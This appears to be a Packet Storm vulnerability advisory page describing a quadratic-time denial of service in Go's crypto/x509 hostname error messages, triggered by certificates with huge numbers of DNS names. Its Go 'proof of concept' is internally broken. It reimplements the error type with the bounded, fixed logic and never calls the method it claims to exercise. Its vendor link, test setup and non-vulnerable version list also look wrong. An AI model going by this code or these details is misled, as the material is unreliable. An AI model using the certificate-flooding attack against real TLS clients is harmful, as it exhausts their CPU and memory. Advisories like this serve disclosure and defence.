PACKETSTORM 7.5 HIGH

šŸ“„ Go crypto/x509 Hostname Verification Denial of Service_PACKETSTORM:214882

7.5 / 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Description

A denial of service vulnerability exists in the Go programming language crypto/x509 package. The issue occurs during TLS hostname verification when constructing error messages for certificates containing a very large number of DNS names. In affected...
Visit Original Source

Basic Information

ID PACKETSTORM:214882
Published Feb 4, 2026 at 00:00

Affected Product

Affected Versions =============================================================================================================================================
| # Title : Go crypto/x509 Hostname Verification Denial of Service |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://www.gocrypto.com/ |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/214685/ & CVE-2025-61729

[+] Summary : A denial of service vulnerability exists in the Go programming language crypto/x509 package. The issue occurs during TLS hostname verification
when constructing error messages for certificates containing a very large number of DNS names.
In affected versions, error message construction uses repeated string concatenation without bounds, resulting in quadratic time complexity
(O(n²)). An attacker can exploit this by presenting a malicious TLS certificate containing an excessive number of DNSNames, causing severe CPU and memory exhaustion.

[+] Affected Versions : All Go versions prior to the official fixes are affected.

The following versions are NOT vulnerable:

- Go 1.23.1
- Go 1.22.10
- Any Go release containing the official patch

[+] Technical Details : When hostname verification fails, the crypto/x509 package constructs a human-readable error string listing all DNS names present in the TLS certificate.

[+] In vulnerable versions:

- No upper bound is enforced on the number of DNS names processed
- String concatenation is performed using repeated "+=" operations
- This leads to quadratic time complexity and excessive memory usage

An attacker-controlled certificate with tens or hundreds of thousandsof DNS names can trigger resource exhaustion during error generation.


[+] PoC : The following PoC demonstrates the vulnerable condition by creating a certificate-like structure with 100,000 DNS names and triggering the
error handling logic. The Error() method is intentionally not invoked to prevent system freeze on vulnerable environments.

File: hostname_error.go
-----------------------
package main

import (
"fmt"
"strings"
)

type HostnameError struct {
Certificate *Certificate
Host string
}

type Certificate struct {
DNSNames []string
}

func (h HostnameError) Error() string {
const maxNames = 10

var builder strings.Builder
names := h.Certificate.DNSNames

builder.WriteString("certificate is valid for ")

displayCount := len(names)
if displayCount > maxNames {
displayCount = maxNames
}

for i := 0; i < displayCount; i++ {
if i > 0 {
builder.WriteString(", ")
}
builder.WriteString(names[i])
}

if len(names) > maxNames {
builder.WriteString(
fmt.Sprintf(", and %d more", len(names)-maxNames),
)
}

builder.WriteString(fmt.Sprintf(", not for %s", h.Host))
return builder.String()
}
-------------
File: poc.go
-------------
package main

import "fmt"

func main() {
cert := &Certificate{
DNSNames: make([]string, 100000),
}

for i := range cert.DNSNames {
cert.DNSNames[i] = fmt.Sprintf("host%d.example.com", i)
}

err := HostnameError{
Certificate: cert,
Host: "example.com",
}

fmt.Println("[+] HostnameError object created")
fmt.Printf("[+] DNSNames count: %d\n", len(cert.DNSNames))

// WARNING:
// Calling err.Error() on a vulnerable Go version
// may cause severe CPU and memory exhaustion.
_ = err
}

[+] How to Run

1. Save the files as:
- hostname_error.go
- poc.go

2. Run the PoC:
$ go run .

Greetings to :============================================================
jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
==========================================================================

šŸ’­ Join the Security Discussion

šŸ”’ Your email address will not be published. Required fields are marked *

āš ļø Please be respectful and constructive in your comments. Security discussions should remain professional.